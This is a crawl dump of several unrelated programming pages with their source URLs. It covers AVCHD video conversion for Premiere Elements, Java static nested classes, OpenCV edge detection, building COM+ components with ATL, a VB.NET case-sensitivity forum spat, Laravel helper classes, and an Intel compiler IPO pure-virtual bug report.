Panasonic HDC-HS900 is a popular camcorder with its 1080/60p Recording. The Full-HD 1920 x 1080 60p is not a standard format, many editing softwares can't surpport the very high quality. Premiere Elements 10 also doesn't surpport 1080/60p videos. I recently shot video using my Panasonic HDC-HS900 camcorder using the 1080p60 format. I am using Adobe Premiere Elements 10. I set up a new project, but didn't see a preset corresponding to 1080p 60. My computer is about 4 years old. It has an Intel dual core processor at 2.4 GHz and 4 GB RAM. To get Panasonic HDC-HS900 1080p footage into Adobe Premiere Elements, you have to encode the full HD AVCHD footage to the compatible format MPEG-2/WMV in 1080 60i/30p/24p with a convert tool. The best AVCHD to Premiere Converter is the right program to convert Panasonic HDC-HS900 to editable video formats for Adobe Premiere. It is adopted with NVIDIA CUDA & AMD APP(ATI Stream) acceleration so that it works at 5-6 faster speed. The most important is that teh converted video quality is perfect for copying and editing in Adobe Elements. To get rid of this trouble, you can follow the easiest and quickest way here. 1. Install and run the best MTS/M2TS Converter for Adobe Premiere, and then import your 1080p 60 mts files to it. 2. Click on the Format bar and find “Adobe Premiere/ Sony Vegas”, then choose WMV, MPG, or MOV format from the sub-list. Here we recommend the MPEG-2 format. To set video size as 1920*1080 and frame rate as 30fps, press “Settings”. In this way, you will suffer the least loss of video quality for easy editing. 3. Click “Convert” to start converting 1080p AVCHD to Premiere Elements 10 editable format. And after a few minutes, you can get the output files effortlessly. Now it’s ready for you to import Panasonic HDC-HS900 1080 60p MTS to Premiere Elements for editing without any trouble. More tips on editing Panasonic High Definition Camcorder footages: 1. Premiere Elements 10 does not include support for 1920x1080 60p. It does, however, include support for 1280x720 60p and DSLR 640x480 60p. 2. The MTS/ M2TS Converter can convert files in batch so you may import all that you would like to convert. 3. This MTS Converter can help you join the several clips into one via ticking the box "Merge into one" box. Related guides: Panasonic HDC-HS900 MTS/M2TS to Apple ProRes for FCP Encode AVI/WMV/FLV/MKV/MOV video to Sony Xperia S converting/transcoding Canon XF300 MXF to MPEG-2 for Sony Vegas Convert 1080/50p AVCHD Footages to Adobe Premiere Elements import Canon EOS M 1080p MOV footages to FCP 7
http://www.anddev.org/ndk-problems-f56/get-panasonic-hs900-1080-60p-avchd-to-premiere-elements-10-t2167704.html
CC-MAIN-2014-49
refinedweb
470
72.56
Static nested class in Java is simply a class that is declared as static member of the enclosing class. A static nested class in Java is simply a class scoped within another class. Static nested class as such shares no relationship with enclosing class. For a Java static nested class the static modifier says that the nested class can be accessed, as with other static members, without having an instance of the outer class. And to create an object of static nested class you don't need the static nested class to have a reference to the outer class object. Static nested class is the simplest form of nested class. A static nested class is declared with the static modifier. When a static nested class is nested in an interface, it is always static and the static modifier is, by convention, omitted. A static nested class acts just like any top-level class. It can extend any other class (including the class it is a member of), implement any interface and itself be used for further extension by any class to which it is accessible. A static nested class can be declared final or abstract, just as a top-level class can, and it can have annotations applied to it. A static nested class in Java serves a great advantage to namespace resolution. This is the basic idea behind introducing static nested classes in Java. For example, if you have a class with an exceedingly common name, and in a large project, it is quite possible that some other programmer has the same idea, and has a class with the same name you had, then you can solve this potential name clash by making your class a public static nested class. And your class will be known as outer class, followed by a period (.), and then followed by static nested class name. Let's take an example how static nested class is declared and used in a program. To make use of Java's static nested class we won't need to create an object of outer class in order to create an object of static nested class. But, the syntax of creating an object of static nested class differs a little from the usual syntax. In this case you need to follow OuterStatic.InnerStatic syntax. Though, the following example demonstrating static nested class would not compile because the static nested class tries to access non-static member mem of the OuterStatic class that is not permitted. So to compile and execute the following code just remove or comment out the statement System.out.println(mem); and you will get 50 as output. /* StaticClassDemo.java */ class OuterStatic { private int mem = 20; private static int smem = 50; static class InnerStatic { public void accessMembers () { System.out.println(mem); //Error: Cannot make a static reference to the non-static field mem System.out.println(smem); } } } public class StaticClassDemo { public static void main(String[] args) { OuterStatic.InnerStatic is = new OuterStatic.InnerStatic(); is.accessMembers(); } } Remember that a static nested class cannot access non-static members of the outer class, because it does not have an implicit reference to any outer instance. Because a static class is not an inner class so it does not share any special relationship with an instance of the outer class. However, sometimes, it may be confusing for you that inner classes and nested classes are same or different. All inner classes are nested classes too, but not all nested classes are inner classes. Static inner classes are an example of nested class but not an inner class. By the standard definition of inner classes, static nested classes are not really inner classes. In this tutorial we talked of static nested class or static inner class. Static nested classes are not really inner classes; their sole purpose is to serve structuring and scoping mechanism for logically related types.
http://cs-fundamentals.com/java-programming/java-static-nested-classes.php
CC-MAIN-2017-17
refinedweb
647
53.41
Requirement: To read the xml file from the folder and pass the contents of the file to Soap request. Issue I am trying to read the file saved in the folder using groovy script, But unable to read the contents of the file. I am getting Null pointer exception while trying to print the contents of the xml file. def fileList = [] new File("C:\\Users\\Documents\\Groovy Scripts\\requests").eachFile { f -> if (f.isFile()&& f.name.endsWith('.xml')) { def filename = f.name[0..-5] fileList.add(filename) log.info filename } } if (fileList.size() <1) { testRunner.fail("No request files found") } context.put('fileList', fileList) def f = new File("C:\\Users\\Documents\\Groovy Scripts\\requests\\${context.fileList}.last().text") log.info f It is understand that you need to do the data-driven tests where requests are kept in a directory. Previously, an approach is provided here to loop thru the data and save responses. All the change you might need now is in the very first step - which reads the directory, and loops thru your files and set the file content as request and run the soap request step. Groovy Script for Step1: import groovy.io.FileType //change your input directory name below def dir = new File('path/to/input/dir') dir.eachFile (FileType.FILES) { file -> //Get the step def step = context.testCase.getTestStepAt(1) //Set the file content as test step request step.testRequest.requestContent = file.text log.info "New request is set for step2 : ${request}" //Run the step2 step.run(testRunner, context) } //By now all the orders got executed, now need to exit the step without additionally running step2 //So, jump to step2, index is 2 testRunner.gotoStep(2) You can continue to use the remaining steps as mentioned in the above provided link.
https://codedump.io/share/D50w43Efkspf/1/groovy-script-to-read-an-xml-file-and-its-contents
CC-MAIN-2018-22
refinedweb
296
67.45
Technical Support On-Line Manuals RL-ARM User's Guide (MDK v4) #include <RTL.h> #include <rl_usb.h> void usbd_msc_read_sect ( U32 block, // Starting data block to be read U8* buf, // Pointer to the buffer to store the data U32 num_of_blocks // Number of blocks to be read ); The function usbd_msc_read_sect reads the data that should be returned to the USB Host that requested it. The argument block specifies the starting block from where the data should be read. The argument buf is a pointer to the buffer where the read data should be stored. The argument num_of_blocks specifies the number of blocks that should be read. The function usbd_msc_read_sect is part of the USB Device Function Driver layer of the RL-USB Device Software Stack. Modifying this function to the application needs. None. usbd_msc_init, usbd_msc_start_stop, usbd_msc_write.
http://www.keil.com/support/man/docs/rlarm/rlarm_usbd_msc_read_sect.htm
CC-MAIN-2019-43
refinedweb
135
56.96
I am trying to build and run the Thrust example code in Visual Studio 2010 with the latest version (7.0) of CUDA and the THURST install that comes with it. I cannot get the example code to build and run. By eliminating parts of the code, I found the problem to be with the thrust::sort(..) call. Host vectors work great, but device vectors produce the following compile error: 1>c:\program files\nvidia gpu computing toolkit\cuda\v7.0\include\thrust\system\cuda\detail\sort.inl(203): error C2027: use of undefined type 'thrust::detail::STATIC_ASSERTION_FAILURE' This is the example code I'm using that won't compile which is largely out of the CUDA trust example at #include <thrust/host_vector.h> #include <thrust/device_vector.h> #include <thrust/generate.h> #include <thrust/sort.h> #include <thrust/copy.h> #include <algorithm> #include <cstdlib> #include <time.h> int main(void) { // generate 32M random numbers serially thrust::host_vector<int> h_vec(32 << 20); std::generate(h_vec.begin(), h_vec.end(), rand); // transfer data to the device thrust::device_vector<int> d_vec = h_vec; // sort data on the device (This breaks the compile) thrust::sort(d_vec.begin(), d_vec.end()); // sort data on the host (This works just fine) thrust::sort(h_vec.begin(), d_vec.end()); // transfer data back to host thrust::copy(d_vec.begin(), d_vec.end(), h_vec.begin()); return 0; } Playing around I found that if you comment out the line that uses the device vector: // thrust::sort(d_vec.begin(), d_vec.end()); but leave the line that uses the host vector: thrust::sort(h_vec.begin(), d_vec.end()); it compiles and runs just fine, though the sort seems to be running on the host. How do I get the example code to compile and run so the sort will take place on the device vector and not the host vector? My system configuration includes: - Visual Studio 2010 / SP1 installed - Windows 7 pro, 64bit - CUDA 7.0 Development kit - NVIDA Quadro K4000 with recent drivers
http://www.howtobuildsoftware.com/index.php/how-do/dBc/c-visual-studio-2010-sorting-cuda-thrust-how-do-you-build-the-example-cuda-thrust-device-sort
CC-MAIN-2018-26
refinedweb
326
58.79
COM+ in .NET Introduction In this article, I will explain the step-by-step procedure to develop and use COM+ components in the .NET environment and about "Component Services Explorer." Before going to the coding part, let's analyze how COM+ components and applications are managed. By using the "Component Services Explorer," we can manage COM+ components and applications in the local machine or in the remote machine (of course with administrative privileges). We can see the Component Services Explorer in every Windows 2000 machine; it's a Microsoft Console snap-in. To open this, click Start, Settings, Control Panel from the control panel dialog; open Administrative Tools; and then Component Services. Figure 1—The Component Services Explorer The Component Services Explorer offers a hierarchical approach to managing COM+ services and configurations. The hierarchy is as follows: +Computer +Applications +Components +Interface +Methods A computer contains applications, and an application contains components. A component has an interface, and an interface has methods. Each element in the hierarchy has its own configurable properties; select these properties from the pop-up menu by right-clicking the corresponding element. Building the COM Component Okay, we learned something about the Component Services Explorer; let's use it by writing a component. Here we will develop the classical hello world type of COM+ component using ATL 7.0. - Open Visual Studio .NET and click File, New, Project. You will get a New Project dialog box. Select Visual C++ project in project Types and ATL Project in the Templates pane. Name it MyCOM, browse to your favorite location, and click OK. - This is our first component so we will keep things simple, at least for the time being. In the ATL project wizard application settings, deselect the Attributed check box; for simplicity, we won't use an attributed project. Don't check Support COM+ 1.0; this selection will add some interfaces that we don't need for this simple hello world example, as shown in Figure 2. Click Finish. - Click Project, New Class from the Add Class dialog box. Select ATL Simple Object from the templates pane and click Open. You will get the ATL Simple Object dialog box. Type MyMessage in the Short Name filed and MyCOM in the CoClass field. The remaining fields will be filled automatically, as shown in Figure 3. Click the Finish button. We will keep the default options. - Now we will add a method to our interface. Select Class View in the project explorer. Right-click the IMyMessage interface and select Add, Add method; you will get the Add Method Wizard. Enter ShowMyMesssage in the Method Name field; all other settings are default. Click the Finish button. - Go to the MyMessage.cpp file and implement the ShowMyMesssage function of CMyMessage Class as shown below: STDMETHODIMP CMyMessage::ShowMyMessage(void) { MessageBox(GetActiveWindow(), "This is my first COM+", "MyCOM", MB_OK); return S_OK; } - Now we can compile and build the DLL. Figure 2—Application Settings for MyCOM Project Figure 3—ATL Simple Object Wizard Names settings All COM+ components reside in the DLL, and that DLL must contain a type library embedded in it as a resource. ATL will build the DLL for you and add a reference to the type library in the resource file, MyCOM.rc. You do not need to register the COM+ components; ATL will register then for you. COM+ maintains its own components registration and configuration repository. Creating the COM+ Application Open Component Services Explorer and expand the My Computer, COM+ Applications folder. Right-click COM+ Applications and select New, Application from the pop-up context menu. This opens the application's Install wizard. Click Next in the wizard, and then click the "Create an empty application" button. Enter a name for the new application as My First COM+ and select the Library application in the Activation option because we are going to create in the process server. A Server application indicates that the components run on their own process. Entries should look like Figure 4, shown below. Click the Next and then the Finish buttons. Figure 4—A new COM+ application, naming and configuring it to be a library/server application We have added a new COM+ by right-clicking My First COM+ and selecting the properties you will use on the properties page. On the the General tab, you have a name and description that you can change at any time. You also have property pages for all applications, components, interfaces, methods, roles, and subscriptions. Close the properties sheet. If you expand the components folder in My First COM+, it's empty—as expected. So far, we've created a Component and an application; now, we need to add the component to the application. Adding a Component to the COM+ Application - To add a new component into the application, right-click the component folder and select New, Component from the pop-up context menu. We get the Component Install Wizard. - From the wizard, click Next and select Install new component(s) from the three options; this will open the standard File Open dialog box. Browse to MyCOM.dll and select it. The Wizard will show you all the components it selected; in our case, there was only one, as shown in Figure 5. You can also Add/Remove DLLs by using the Add/Remove buttons. Click the Next and then the Finish buttons to complete the new component installation. - As we know, the type information is embedded in the DLL; COM+ knows about your components, interfaces, and methods. To verify that COM+ imported the component correctly, expand the interfaces and methods folder under the MyCOM.MyCOM.1 folder. You can see IMyMessage under the interface and ShowMyMessage under the methods folder, as shown in Figure 6. Figure 5—Component Install Wizard displays selected Component(s) Figure 6—MyFirstCOM+ application and its component Testing the Client We've finished the component and application; now it's time to develop a small client to test our COM+. Create a new dialog-based MFC Application project and name it COMTest. In OnButtonClick, add the following code. Copy the DLL to the client folder. void CCOMTestDlg::OnBnClickedButton1() { ::CoInitialize(NULL); HRESULT hRes = S_OK; IMyMessage* pMyMsg = NULL; hRes = ::CoCreateInstance(CLSID_MyCOM, NULL, CLSCTX_ALL, IID_IMyMessage, (LPVOID*)&pMyMsg); hRes = pMyMsg->ShowMyMessage(); pMyMsg->Release(); ::CoUninitialize(); } Add the following line to the include section of the line to import the library: #import "MyCOM.dll" no_namespace named_guids When you run and click the button, you will get the following message box, as shown in Figure 7. Figure 7—Message box from your first COM+ component The main advantage of using COM+ is that you can configure a component or an application containing it without changing any code on the client side or object side. We will explore how to change the application activation. Normally, the application type is decided during design time. Changing the application type may have an impact on security. Okay, now we will change our Library Application (in process) to a server application out of process. Right-click My First COM+ and select Properties. From the properties page, select the Activation tab and select Server Application, as shown in Figure 8. Figure 8—Application activation tab How COM+ differentiates between library and server applications is, in the case of library the client loads the DLL into the process address space. In the case of server application activation configuration, COM+ generates a special process called "Surrogate process (dllhost.exe)"; this loads the DLL. COM+ places the a proxy in the client process and a stub in the surrogate process. This connects the client to the object. To verify these points, configure the server application and run the application. In the Component Services Explorer, change the view to Status View. From the explorer, take the process ID (PID) and locate this PID in the Windows Task Manager. You will find the dllhost.exe image name, as shown in Figure 9. Figure 9—COM+ Surrogate process for the Server application I am a programmer, living in Hamburg. Drop me mail for comments and criticism at rishibala@hotmail.com. Says error!!Posted by vadivhere on 05/22/2004 02:26am Exception in comsvcs.dll calling Release()Posted by Legacy on 01/15/2003 12:00am Originally posted by: s weber If you do NOT register the component in Component Services, everything is OK. Once you register the component with Component Services you get an exception when calling pMyMsg->Release() Any ideas why this would happen when registered with Component Services What will happen?Posted by vadivhere on 05/22/2004 02:24am Simple enough to get in to ATL .NET..it is good..Posted by Legacy on 11/18/2002 12:00am Originally posted by: S Prabhakar ..I was also looking for one more point. What do u actually gain(or the difference) when building the ATL COM+ component using .NET instead of the earlier VC++ 6.0.. Reply
http://www.codeguru.com/csharp/.net/net_general/comcom/article.php/c4617/COM-in-NET.htm
CC-MAIN-2014-15
refinedweb
1,489
56.86
Generating. Installation To use this developer tool, download attached python file (i18n_TemplateGenerator.py) and put it inside Extensions folder in your zope instance directory (/var/lib/zope/instance/Extensions in my case). Edit the file and look for generatePOT function. This function is executed with just the portal instance as parameter. You must alter the product name (2nd parameter) and i18n_domain (3rd parameter) to match your settings. Usage Then go to ZMI, and put a new External method inside your portal's folder (not the Zope instance root, that would not work!), pick whatever id and title you like, but module name must be "i18n_TemplateGenerator" and function name must be "generatePOT". Save the External method and try it out (Test tab in ZMI). If everything went alright, it should spit out the POT output with default values and references and at the bottom list of warnings (duplicate msgids with different default values, i18n_domain missing, label but not label_msgid, description but not description_msgid are detected). FeaturesThe system is able to extract msgids with default values, it takes care of multiple references (and adds that to he POT accordingly), it warns the user if his/her Product isn't prepared for translation. It isn't user friendly though, that's a TODO. i18ndude You can later use i18ndude to merge POT files generated from Archetypes schemas and POT files generated from ZPT templates (by i18ndude). Problems I am neither experienced plone developer nor python coder so I might have left many bugs in the code (in fact I have been working with plone for a month). Also this piece of code was written during 5 hours including extensive lunch break :-D (with extensive help from naro@#plone-cz, thanks for that). I would be glad if you submitted any problems you find. There are many areas that should get improved. Somehow deprecated for Plone 3 from zope.i18nmessageid import MessageFactory _ = MessageFactory('mydomain') ...widget=MyWidget(label=_(u'foo', default=u"Foo"), description=_(u'bar', default=u"Bar"), ...)
http://plone.org/documentation/how-to/generating-pot-of-archetypes-based-products
crawl-002
refinedweb
337
54.83
Nice to meet you! My name is Yoshiki and I specialize in machine learning and deep learning at university! This time, I would like to explain about edge detection using Python and OpenCV. (It's also to deepen my understanding lol) For the time being, I will do my best to have fun and understand even those who are wondering what Python can do! In the world of image processing, the edge has the meaning of a part in the image where the brightness changes suddenly, but it's not very clear. What do you usually think of when you hear the word edge? The correct answer is for those who think of edges and contours! In other words, edge detection is a technology that extracts only the contour feature to make image processing easier! References This time, I wanted everyone to actually move their hands to run the program, so I would like to implement it using Google Drive and Google Colaboratory instead of locally. As a merit, I chose it because it is convenient because it can be used without installing the library with pip etc. Once you have access, select the item called Folder from the new button on the upper left. If you click it, a name input field will appear. Anything is fine, but I named it Edge! Well, it's almost the end! In Images, put the images you want to detect edges! You can do it by uploading the file with the new button. In Src, select Google Colaboratory from New at the bottom. (If not, search for the app from Add and install it!) Once selected, you should be taken to the editor screen. Finally, about the specifications of Google Colaboratory. ・ Please note that Google Colaboratory will be disconnected in about 30 minutes, and if it is disconnected, you will have to reconnect. (The source code never disappears lol) ・ When connecting, you will be asked for the code as shown below, so access the URL to get the code! ・ For the sake of clarity, change the name from Untitled.ipynb. -You can save from the file column. Let's keep it diligent! I was conscious of the object-oriented design as a whole. I left the basic code description in the comment out. import cv2 #------------Setting------------# #Setting for using google drive from google import colab colab.drive.mount('/content/gdrive') #Directory setting b_dir='gdrive/My Drive/Edge/' #Setting working directory #------------Image processing------------# #Image read org=cv2.imread(org_name) if org is None: print('\n**********************************************************\n') print(org_name+' cannot be read\n') print('************************************************************\n') else: #Grayscale image generation gray=cv2.cvtColor(org,cv2.COLOR_BGR2GRAY) #Apply image operator canny=cv2.Canny(gray,min_val,max_val) #Save image cv2.imwrite(canny_name,canny) First, below, we are importing OpenCV and setting the directory. The last line is Edge. This refers to the name of the folder you set first, so let's rewrite it to the name of the folder you created first. import cv2 #------------Setting------------# #Setting for using google drive from google import colab colab.drive.mount('/content/gdrive') #Directory setting b_dir='gdrive/My Drive/Edge/' #Setting working directory Next, in the following, parameter settings, image file settings, and output image file settings are made. The first point is about parameters. This time, we use the Canny method as the edge detection method. (I won't explain the Canny method in this article.) This parameter is a value that I set to be able to take an edge well with this value, so you are free to change it. .. The second point is about the setting of the image file. I think that you uploaded the image to the Images folder, so please store the image before the extension in data and the extension in ext. Mounted at /content/gdrive If it is output like this, it is successful! Check out Images in My Drive. The image with edge detection should be output. Then, as the title says, I detected the edge of Poo in the profile image, so please see the result. I'm sorry ... thank you for your hard work! I'm glad if anyone has been dating so far lol Also, I hope this article will give you an interest in how Python can do this. Since this is my first post, I intend to do it as carefully as possible, but if you have any questions, questions, or mistakes, please comment. I will continue to write many articles such as machine learning, so please follow me if you like! Recommended Posts
https://memotut.com/en/8375327c9c224b9ae9b8/
CC-MAIN-2021-49
refinedweb
759
65.73
Coffeehouse Thread60 posts Forum Read Only This forum has been made read only by the site admins. No new threads or comments can be added. Hey Beer, Linux Message Getting Through Back to Forum: Coffeehouse Conversation locked This conversation has been locked by the site admins. No new comments can be made. Pagination There's finally a tutorial site on converting your Windows PC to a Linux one. People are listening. Wow. I mean I usually disagree with pretty much everything you write but this is pretty low. But it's good to know that I'm not actually a real programmer because in my language Text is different than text. I don't really know what to say to this other than "no". They both use the same CLR you are an idiot my friend, stick to linux That's rediculous. Any programmer that differentiates two identifiers purely by their case should be shot. Even in languages that do support case I never, ever do that. I also don't support it when people use PropertyName for a property and then propertyName for the associated field. It just doesn't show up at first glance. I have never, ever needed case sensitivity. However, I have had compiler errors more than once because I forgot that for some reason Hashtable has no capital T. Case sensitivity is useless. I also don't agree VB is for "less experienced developers". It's for RAD, and very good at that. It has nothing to do with experience level. If you have a situation where case is the only way to avoid a namespace collision, you seriously need to rethink your design. While we can disagree on the roots of it, VB .Net is not a "cut and paste" language but a fully featured, powerful first-class programming language. It is suitable for advanced and begining users alike. While I'm sure you weren't trying to make this point earlier, I just figured I'd get us all back on the same page. Um, OK so you "dont support" the widely accepted industry standard. How do you name your fields and properties then? oops, double post, sorry nevermind Private m_someString as String Public Property SomeString() As String Get Return m_someString End Get Set(ByVal value As String) m_someString = value End Set End Property Much harder to make a mistake this way. And you can use m_ + Intellisense to see all your members. VB.NET and Old School VB are entirely different languages, you only show your ignorence further my firiend. Do you not understand the difference in the .NET CLR & COM or what? Obviously not. Similar to what I would use private string _myStr; public string MyStr { get {return _myStr;} set {_myStr = value;} } I use Marsella's method in C#, Sampy's method in C++, and in VB I use mMemberName. ... Maybe I should try finding a style that works for all languages... No. C# is case sensitive because C/C++ were and it's aimed at developers from those backgrounds. C was only case sensitive because it made compilers quicker and easier. There is no real excuse for it in a modern filesystem either, it lingers on *nix boxes for legacy reasons (although notably Mac OS X has a case-insensitive filesystem) BTW, that link is *so* funny. That was hiliarious and made my day. I love you, Minh. @Case sensativity: I don't want to maintain anyone's code where the only difference between private variables and public properties is case. ;( I got a question about that code: If you need to change the value of that variable in the same class (so you can choose between both), which one should you change? The private variable or the public property? The public property, as the property might have some pre/post set/get code to process. It is also important in inheritance but I cant quite remember why atm. The property. Of course, I would never write code like this. If I had an object, say an employee, who had data that described it I wouldn't write this: Public Class Employee Public Property FirstName() As String Public Property LastName() As String ... End Class I'd use a description object: Public Class Employee Public ReadOnly Property Description() As Description End Class Where Description would look something like: Public Class Description Inherits DictionaryBase(Of String, Object) ' Add some events in here to detect state change End Class But that's just me
https://channel9.msdn.com/Forums/Coffeehouse/36419-Hey-Beer-Linux-Message-Getting-Through
CC-MAIN-2018-09
refinedweb
751
64.3
Subject: Re: [boost] Boost.DLL formal review From: Bjorn Reese (breese_at_[hidden]) Date: 2015-07-11 07:51:41 On 06/29/2015 03:11 PM, Vladimir Prus wrote: > - Should the library be accepted? Yes. > - How useful is it? It hides most of the complexity if you want to build a plugin framework. > - What's your evaluation of > - Design I like how reference counting can be used to manage life-times. It is unclear to me whether there are any limitations about aliasing. For instance, can I alias constructors, operators, or functions in an anonymous namespace? > -]" The design rationale and the FAQ seems to be in disagreement about ABI portability. > - Tests Did not look. > - How much effort did you put into your evaluation? A couple of hours reading the documentation and browsing the code. > - Did you attempt to use the library? On what systems and compilers? No. Boost list run by bdawes at acm.org, gregod at cs.rpi.edu, cpdaniel at pacbell.net, john at johnmaddock.co.uk
https://lists.boost.org/Archives/boost/2015/07/224126.php
CC-MAIN-2019-51
refinedweb
169
70.9
Published 2 years ago by drake24 I have problem. Usually in Laravel 4 I have views / blades that will call static functions from my Helper folder which is located at app/helpers/helper.php. class Helpers{ public static function myCustomHelper(){ return "Im a custom helper"; } I can call it in my blade simple by {{ Helpers::myCustomHelper() }}. However, in Laravel 5 I get an error stating Helpers class is not found. You'll need to reference the full namespace of Helpers in your template. If it's in the global namespace, you should be able to just prefix it with a backslash: \Helpers:myCustomHelper(). or just create a helper function so that it can be referenced from anywhere. function example(){ return App\MyClass::myMethod(); } and call it from the view, just like {{example()}} @drake24 most likely you had it autloaded in your composer.json file. You can go back and do that if you want: "autoload": { "classmap": [ "app/commands", "app/controllers", "app/database/migrations", "app/database/seeds", "app/tests/TestCase.php" ], "psr-4" : { // whatever the path is for your hlper "App\\":"app/Helpers/myCustomHelper" } }, I've tried placing it inside my blade and calling it {{ $Helpers::myCustomHelper() }} It works. However, I find it dirty code to have it on top of my blade files. did you run composer dumpautoload after placing it the composer.json file? Errror message suggest you might not have. Yes, I did run dump-autoload "autoload": { "classmap": [ "database", "app/libraries" ], "psr-4": { "App\": "app/", "App\": "app/libraries/helpers" } You missing double slash after App. Also unsure if you need the path in classmap. Try it like this then dumpautoload. "autoload": { "classmap": [ "database" ], "psr-4": { "App\\": "app/", "App\\": "app/libraries/helpers" } Yes it is really weird. Still the same error. Any route I add in the psr-4 still returns the same error Can you declare the same namespace twice? The second reference to App\\ will be overriding the first one, thus breaking references to any of Laravel's default classes. Sign In or create a forum account to participate in this discussion.
https://laracasts.com/discuss/channels/general-discussion/how-to-call-a-static-method-inside-a-blade-in-laravel-5
CC-MAIN-2017-22
refinedweb
345
65.01
It appears that the compiler is incorrectly inlining calls to pure virtual functions in certain situations where IPO is enabled and an anonymous union is declared. The simplest example I can come up with is below. Removing the anonymous union or compiling without IPO resolves the issue.This issue is present in compiler versions 14.0.1 and 15.0.1 on CentOS 6.6 with gcc 4.4. Please advise on any known workarounds or fixes in upcoming releases. This example should print out "hello world" but instead crashes with "pure virtual method called". The program runs successfully when compiled with gcc 4.4 or 4.8. abstract.h: #ifndef ABSTRACT_H_ #define ABSTRACT_H_ //some other struct, must be defined in the cpp struct other; class abstract { public: //the abstract must have a virtual destructor virtual ~abstract() { } //this is the pure virtual function the concrete class defines virtual void bar(const char *s) = 0; //the abstract class must have a non virtual function which calls the virtual function void foo(const char *s); //the abstract class must reference a another struct for some reason other *o; }; #endif abstract.cpp: #include "abstract.h" //the other struct must be defined struct other { }; void abstract::foo(const char *s) { //this is the part that breaks //the compiler should produce a virtual function call to bar() //instead, it inlines a call to a __cxa_pure_virtual bar(s); } function.h: #ifndef FUNCTION_H_ #define FUNCTION_H_ //this function only exists to provide another layer of indirection to confuse ipo void function(); #endif function.cpp: #include "function.h" #include "abstract.h" #include <stdio.h> //there must be some other interface to inherit from class interface { public: virtual ~interface() { } }; //there must be a concrete class, //inheriting from both the interface and the abstract class class concrete : public interface, public abstract { public: //the concrete implementation of abstract::bar //should be called but it never is void bar(const char *s) override { printf("%s world\n", s); } }; void function(abstract *a) { //call to abstract::foo, which calls abstract::bar a->foo("hello"); } void function() { //call the other function with an instance of concrete, //implicitly converted to abstract function(new concrete()); } main.cpp: #include "function.h" //there must be a class or struct struct my_struct { //it must declare a constructor but it does not need to be defined my_struct(); }; //there must be something else that wraps the struct in an anonymous union struct my_union { union { int i; my_struct s; }; }; int main(int argc, char *argv[]) { //the call to function() creates and uses an of an object with a complex class hierarchy //using this object should print out "hello world" //instead the program crashes with "pure virtual method called" //this appears to be the simplest program that can reproduce the error //if any part of the anonymous union above is removed //or if any part of the class hierarchy is removed //then the program works as expected //the function must be defined in a separate library to confuse ipo function(); return 0; } Makefile: CXX := icpc CXXFLAGS := -std=c++11 -ipo AR := xiar ARFLAGS := rcs LDFLAGS := -ipo main: main.o library.a $(CXX) $(LDFLAGS) $^ -o $@ library.a: abstract.o function.o $(AR) $(ARFLAGS) $@ $^ %.o: %.cpp $(CXX) $(CXXFLAGS) -c $< -o $@ .PHONY: all all: main .PHONY: clean clean: rm -f main *.a *.o Link Copied Hi, I tried with the latest 15.0 version as well as others including 14.X versions and couldn't reproduce the issue. Tried with compatible RH EL 6.X systems (don't have Cent OS) with gcc 4.4.X and icc was successful as well. %icc -V Intel(R) C Intel(R) 64 Compiler XE for applications running on Intel(R) 64, Version 15.0.1.133 Build 20141023 %sysinfo Linux Distro: Red Hat Enterprise Linux Server release 6.3 (Santiago) GNU C Library: /lib/libc-2.12.so GCC Version: gcc (GCC) 4.4.6 20120305 (Red Hat 4.4.6-4) Kernel Release: 2.6.32-279.el6.x86_64 Architecture: x86_64 %make icpc -std=c++11 -ipo -c main.cpp -o main.o icpc -std=c++11 -ipo -c abstract.cpp -o abstract.o icpc -std=c++11 -ipo -c function.cpp -o function.o ixiar rcs library.a abstract.o function.o xiar: executing 'ar' icpc -ipo main.o library.a -o main %./main hello world Also tried on RH EL 7.0 and couldn't reproduce also. Can you provide the following: 1) %icc -V 2) %uname -a 3) Can you compile the files with -P option to generate the pre-processed i files and attach to this issue so I can try to reproduce on my system? % icpc -std=c++11 -P main.cpp abstract.cpp function.cpp %icpc -std=c++11 -o main main.i abstract.i function.i %./main hello world ------------------- _Thanks, Kittur Thanks for the quick response. The .i files are attached. Let me know if there is any other system info you need. $ which icc /opt/intel/composer_xe_2015.1.133/bin/intel64/icc $ icc -V Intel(R) C Intel(R) 64 Compiler XE for applications running on Intel(R) 64, Version 15.0.1.133 Build 20141023 $ icc -v icc version 15.0.1 (gcc version 4.4.7 compatibility) $ gcc .7 20120313 (Red Hat 4.4.7-11) (GCC) $ uname -a Linux dev11.s 3.10.42-1.el6.elrepo.x86_64 #1 SMP Sat Jun 7 20:16:58 EDT 2014 x86_64 x86_64 x86_64 GNU/Linux Hi Mathew, Thanks for attaching the files and for the additional info. I tried with the pre-processed files as well on all the equivalent systems I've access to (RH EL6) but I still couldn't reproduce the issue as it worked fine. The only difference between your environment to mine are: The system (EL 6.3, EL 7.0) isn't Cent-OS but equivalent and it's 6.3 (not 6.6) and 7.0. So, what I did was to file the issue with our developers to check if they can try on any equivalent system they have and let me know as well. I'll update you accordingly on their investigation. _Kittur Hi Mathew, Our developer working on this issue tried on the same configuration you did and still couldn't reproduce the issue as well :-( If you happen to come up with any other test case(s) that can reproduce the issue I'd be glad to pursue further on this, appreciate much. _Kittur The problem seems to be in the final ipo/link phase so to help isolate that I've attached main.o and library.a created on CentOS 7.0 system with gcc 4.8 installed. $ tar -xzf main.tar.gz $ icpc -ipo main.o library.a -o main $ ./main pure virtual method called terminate called without an active exception Aborted I can replicate on CentOS 6 & 7 as well as Linux Mint 17. Hi Mathew, Thanks for attaching the files (which is very helpful) and I'll update you soon after further investigation. Appreciate your patience till then. _Kittur Thanks Mathew, I've reproduced the issue and it looks like a compiler bug. I've again escalated to the issue to the product team and will update you as soon I've any info, appreciate much. _Kittur Mathew, can you try and compile with "-no-ansi-alias" option and try your test case and see if that fixes the issue? Reason, this could be related to ANSI alias rules and needs to be investigated further, thanks. Reason I can't try is because I can only reproduce the issue with the .o files you attached. _Kittur Thanks again for your help, I'm glad you guys were able to reproduce. I tried compiling with -no-ansi-alias and that did not fix the issue. Let me know if there is anything else you would like me to try or if you need any other intermediate files. Mathew, for now, we have sufficient info for debugging this issue and will update you as soon as I've an update from our developers, appreciate much. _Kittur Hi Mathew, I need your input on why the source code you had attached to this issue for us to reproduce is different from the object files you sent later? We notice some discrepancies between the object files and the source code you had sent: May be that's the reason we're not able to reproduce with the source files? If so, CAN YOU PLEASE REATTACH the source files to this issue which you used for generating the object files (main.o library.a) that you attached later? Appreciate your help. _Kittur Great, thanks Mathew. I am now able to reproduce the issue with the new sources you attached! I've passed it on to the developer(s) and will keep you updated if I need any further info - appreciate much. _Kittur Hi Mathew, 